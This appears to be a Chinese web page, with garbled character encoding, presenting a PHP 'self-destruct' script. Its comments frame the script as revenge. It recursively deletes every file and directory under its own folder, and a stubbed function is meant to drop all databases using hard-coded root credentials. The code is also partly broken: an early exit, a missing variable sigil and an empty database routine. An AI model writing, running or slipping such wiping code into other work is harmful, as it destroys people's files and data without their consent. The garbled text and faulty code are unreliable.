PHP自毀程序
// +----------------------------------------------------------------------
// | Kill!!
// | 程序?qū)⑶宄灸夸浰形募⒛夸?/code>
// | 如果設(shè)置了數(shù)據(jù)庫信息,則嘗試刪除所有數(shù)據(jù)庫和表數(shù)據(jù)(前提是權(quán)限要夠!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +----------------------------------------------------------------------
//----------數(shù)據(jù)庫配置區(qū)域-----------------
//復(fù)仇的力量是很可怕的,所以無需指定數(shù)據(jù)庫,全刪!
define(
'DB_USER'
,
'root'
);
define(
'DB_PWD'
,
'root'
);
define(
'DB_HOST'
,
'localhost'
);
define(
'DB_PORT'
,
'3216'
);
define(
'DB_DAMAGE'
, true);
//為false時(shí),不碰數(shù)據(jù)庫
run();
/**
* 主體思想必須光輝偉大!
*
* @return void
**/
function
run()
{
//刪除文件
deletedir();
//刪除數(shù)據(jù)庫
deleteDB();
}
/**
* 呵呵呵,刪除當(dāng)前目錄所有文件(遞歸)
*
* @return void
**/
function
deletedir(
$dir
=
''
){
if
(
$dir
==
''
) {
$dir
=
realpath
(
'.'
);
}
echo
$dir
;
exit
();
if
(!handle=@opendir(
$dir
)){
//檢測要打開目錄是否存在
die
(
"沒有該目錄"
);
}
while
(false !==(
$file
=readdir(
$handle
))){
if
(
$file
!==
"."
&&
$file
!==
".."
){
//排除當(dāng)前目錄與父級目錄
$file
=
$dir
.DIRECTORY_SEPARATOR.
$file
;
if
(
is_dir
(
$file
)){
deletedir(
$file
);
}
else
{
if
(@unlink(
$file
)){
echo
"文件$file刪除成功。
"
;
}
else
{
echo
"文件$file刪除失敗!
"
;
}
}
}
if
(@
rmdir
(
$dir
)){
echo
"目錄$dir刪除成功了。
\n"
;
}
else
{
echo
"目錄$dir刪除失敗!
\n"
;
}
}
/**
* 呵呵呵,刪除數(shù)據(jù)庫
*
* @return void
**/
function
deleteDB()
{
if
(DB_DAMAGE === true){
//start
}
}
推薦文章
2025-01-18
2024-11-28
2024-11-09
2024-10-25
2024-06-25
2024-01-04
2023-11-06
2023-10-30
2023-10-13
2023-10-10
穩(wěn)定
產(chǎn)品高可用性高并發(fā)貼心
項(xiàng)目群及時(shí)溝通專業(yè)
產(chǎn)品經(jīng)理1v1支持快速
MVP模式小步快跑承諾
我們選擇聲譽(yù)堅(jiān)持
10年專注高端品質(zhì)開發(fā)聯(lián)系我們
友情鏈接: